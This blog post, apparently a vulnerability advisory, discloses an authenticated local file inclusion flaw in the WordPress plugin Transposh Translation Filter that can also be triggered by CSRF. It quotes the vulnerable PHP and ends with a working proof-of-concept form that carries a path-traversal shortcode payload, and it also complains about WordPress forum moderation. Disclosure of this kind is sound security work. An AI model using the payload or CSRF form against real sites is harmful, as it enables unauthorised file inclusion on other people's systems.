4 Feb 2022

Authenticated Local File Inclusion (LFI) Vulnerability in Transposh Translation Filter

While we were attempting to test to see if the WordPress plugin Transposh Translation Filter was susceptible to another vulnerability, we stumbled across an authenticated local file inclusion vulnerability in the plugin, which can also be exploited through cross-site request forgery (CSRF).

What led to that, was this comment on support forum topic for the plugin:

I add the shortcode:
[tp widget=”flags/tpw_flags_css.php”]

Based on that, it would appear that the plugin’s shortcode allows including files specified by its widget attribute. If what is able to be included isn’t limited, then that would be a vulnerability. We were able to confirm that there isn’t restriction, both with the proof of concept at the bottom of this post, but also by looking at the code.

The shortcode registration specifies that the function tp_shortcode() is run when using the shorcode:

241
add_shortcode('tp', array(&$this, 'tp_shortcode'));

That function will pass the value of the widget attribute to the function widget():

1320
function tp_shortcode($atts, $content = null) {
1368
1369
1370
	if (isset($atts['widget'])) {
		ob_start();
		$this->widget->widget(array('before_widget' => '', 'before_title' => '', 'after_widget' => '', 'after_title' => ''), array('title' => '', 'widget_file' => $atts['widget']), true);

Which in turn passes it to the function load_widget() in the file /wp/transposh_widget.php:

269
270
271
272
273
274
275
function widget($args, $instance, $extcall = false) {
	// extract args given by wordpress
	extract($args);
	tp_logger($args, 4);
 
	// we load the class needed and get its base name for later
	$class = $this->load_widget($instance['widget_file']);

That doesn’t restrict what files can be included:

148
149
150
151
152
153
154
155
156
157
158
function load_widget($file) {
	tp_logger("widget loaded: $file", 4);
	if ($file[0] == '*') {
		$upload = wp_upload_dir();
		$upload_dir = $upload['basedir'] . '/' . TRANSPOSH_DIR_UPLOAD . '/' . TRANSPOSH_DIR_WIDGETS;
		$widget_src = $upload_dir . '/' . substr($file, 1);
	} else {
		$widget_src = $this->transposh->transposh_plugin_dir . TRANSPOSH_DIR_WIDGETS . '/' . $file;
	}
	if ($file && file_exists($widget_src)) {
		include_once $widget_src;

Anyone logged in to WordPress has the ability to access that shortcode through WordPress’ parse-media-shortcode AJAX function, as the proof of concept below confirms.

This could also be exploited through cross-site request forgery (CSRF), as there is not a nonce check of that AJAX function.

There also appear to be other security vulnerabilities in the plugin.

WordPress Causes Full Disclosure

As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)

You can notify the developer of this issue on the forum as well.

Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will cause a file named test.php in the root directory of the WordPress installation to be included, when logged in to WordPress.

Replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="parse-media-shortcode" />
<input type="hidden" name="shortcode" value='[tp widget="../../../../test.php"]' />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Leave a Reply

Your email address will not be published.